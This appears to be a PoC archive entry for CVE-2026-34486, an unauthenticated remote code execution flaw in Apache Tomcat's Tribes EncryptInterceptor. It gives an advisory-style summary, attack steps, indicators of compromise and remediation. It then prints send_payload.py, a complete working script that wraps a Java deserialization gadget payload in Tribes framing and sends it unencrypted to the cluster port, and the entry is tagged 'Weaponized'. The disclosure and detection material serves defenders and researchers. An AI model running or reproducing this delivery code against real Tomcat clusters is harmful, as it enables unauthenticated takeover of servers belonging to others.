PoC Archive PoC Archive
Critical CVE-2026-34486 patched

Apache Tomcat Tribes EncryptInterceptor Fail-Open Unauthenticated RCE (CVE-2026-34486)

by Bartlomiej Dmitruk (striga.ai) · 2026-07-05

Severity
Critical
CVE
CVE-2026-34486
Category
web
Affected product
Apache Tomcat Tribes clustering (EncryptInterceptor)
Affected versions
11.0.19+, 10.1.53+, 9.0.116+ (fixed in 11.0.21, 10.1.54, 9.0.117)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherBartlomiej Dmitruk (striga.ai)
CVE / AdvisoryCVE-2026-34486
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsdeserialization, rce, tomcat, tribes, clustering, java, gadget-chain, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Tomcat Tribes clustering (EncryptInterceptor)
Versions Affected11.0.19+, 10.1.53+, 9.0.116+ (fixed in 11.0.21, 10.1.54, 9.0.117)
Language / PlatformJava (target and gadget generator), Python 3 (payload delivery)
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-34486 is a fail-open flaw in Apache Tomcat’s Tribes clustering EncryptInterceptor, which is meant to require encrypted, authenticated membership traffic between cluster nodes. Due to the bypass, an attacker can send an unencrypted, crafted message directly to the Tribes receiver channel and have it processed as if it were a legitimate encrypted cluster message. Because Tribes deserializes incoming membership payloads, this allows delivery of a Java deserialization gadget chain (a CommonsCollections6 variant) that achieves remote code execution with no authentication. The included PoC builds the gadget payload, sends it unencrypted to the Tribes port, and verifies RCE via a dropped marker file inside a Dockerized Tomcat target.


Vulnerability Details

Root Cause

EncryptInterceptor fails open: when it should reject or require encrypted/authenticated cluster membership messages, unencrypted attacker-supplied data is still passed through to Tribes’ Java deserialization logic (HashSet.readObject() and friends), allowing an untrusted object graph to be deserialized.

Attack Vector

  1. Generate a CommonsCollections6-variant serialized Java object (GadgetGen.java) that triggers Runtime.exec() via ChainedTransformer/InvokerTransformer upon deserialization.
  2. Connect directly to the Tomcat Tribes receiver port (4000 by default) without encryption.
  3. Send the serialized gadget-chain payload as a raw Tribes cluster message.
  4. EncryptInterceptor’s fail-open behavior allows the message through to deserialization, which invokes the gadget chain and executes the attacker’s command inside the Tomcat process.

Impact

Unauthenticated remote code execution on any Tomcat node participating in Tribes clustering with EncryptInterceptor configured, in the affected version ranges.


Environment / Lab Setup

Target:   Docker container running Tomcat 11.0.20 with Tribes EncryptInterceptor configured
Attacker: Docker, Java 21 (with commons-collections-3.1.jar), Python 3

Proof of Concept

PoC Script

See GadgetGen.java, send_payload.py, run.sh, Dockerfile, and server.xml in this folder.

1
bash run.sh

run.sh builds a Docker image running Tomcat 11.0.20 with EncryptInterceptor enabled (per server.xml), compiles GadgetGen.java to produce a CC6 gadget-chain payload, and uses send_payload.py to deliver the payload unencrypted to the Tribes receiver on port 4000. Successful exploitation is confirmed by the presence of /tmp/pwned inside the container.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected child processes spawned by the Tomcat JVM
  • Unrecognized cluster member connections on the Tribes port without valid encryption/authentication
  • Presence of marker/dropped files (e.g. under /tmp) not created by legitimate application logic

Remediation

ActionDetail
Primary fixUpgrade to Tomcat 11.0.21, 10.1.54, or 9.0.117, which fix the EncryptInterceptor fail-open behavior
Interim mitigationDisable Tribes clustering or restrict the Tribes receiver port to a trusted, isolated network segment until patched

References


Notes

Mirrored from https://github.com/striga-ai/CVE-2026-34486 on 2026-07-05.

send_payload.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat Tribes EncryptInterceptor bypass, unauthenticated RCE

Found and reported by:
  Bartlomiej Dmitruk (striga.ai)

Sends a serialized Java object through the Tribes wire protocol to a
Tomcat cluster receiver port. The object is wrapped in a ChannelData
envelope with the required FLT2002/TLF2003 framing.

The payload is NOT encrypted. If EncryptInterceptor is configured,
decryption will fail, but due to the fail-open bug at
EncryptInterceptor.java:146 the message is still forwarded to
GroupChannel.messageReceived() -> XByteBuffer.deserialize() ->
ObjectInputStream.readObject().

Usage:
  python3 send_payload.py <host> <port> <payload.bin>

Example:
  python3 send_payload.py localhost 4000 payload.bin
"""
import io
import socket
import struct
import sys
import time

START_DATA = b"FLT2002"
END_DATA = b"TLF2003"
TRIBES_MBR_BEGIN = bytes([84, 82, 73, 66, 69, 83, 45, 66, 1, 0])
TRIBES_MBR_END = bytes([84, 82, 73, 66, 69, 83, 45, 69, 1, 0])


def build_member() -> bytes:
    host = bytes([127, 0, 0, 1])
    body = (
        struct.pack(">q", int(time.time() * 1000))  # alive
        + struct.pack(">i", 4001)   # port
        + struct.pack(">i", 0)      # secure port
        + struct.pack(">i", 0)      # udp port
        + bytes([len(host)]) + host # host
        + struct.pack(">i", 0)      # command length
        + struct.pack(">i", 0)      # domain length
        + b"\x01" * 16              # uniqueId
        + struct.pack(">i", 0)      # payload length
    )
    return TRIBES_MBR_BEGIN + struct.pack(">i", len(body)) + body + TRIBES_MBR_END


def build_packet(serialized: bytes) -> bytes:
    member = build_member()
    uid = b"\xDD" * 16

    cd = io.BytesIO()
    cd.write(struct.pack(">i", 0))                       # options
    cd.write(struct.pack(">q", int(time.time() * 1000)))  # timestamp
    cd.write(struct.pack(">i", len(uid)))
    cd.write(uid)
    cd.write(struct.pack(">i", len(member)))
    cd.write(member)
    cd.write(struct.pack(">i", len(serialized)))
    cd.write(serialized)
    data = cd.getvalue()

    return START_DATA + struct.pack(">i", len(data)) + data + END_DATA


def main():
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <host> <port> <payload.bin>")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2])
    payload_file = sys.argv[3]

    with open(payload_file, "rb") as f:
        serialized = f.read()

    if serialized[:2] != b"\xac\xed":
        print("[-] Warning: file does not start with Java serialization magic (ACED)")

    packet = build_packet(serialized)

    print(f"[*] Connecting to {host}:{port}")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect((host, port))

    print(f"[*] Sending {len(packet)} bytes ({len(serialized)} byte payload)")
    sock.sendall(packet)

    time.sleep(2)
    sock.close()
    print("[+] Sent. Check target for evidence of code execution.")


if __name__ == "__main__":
    main()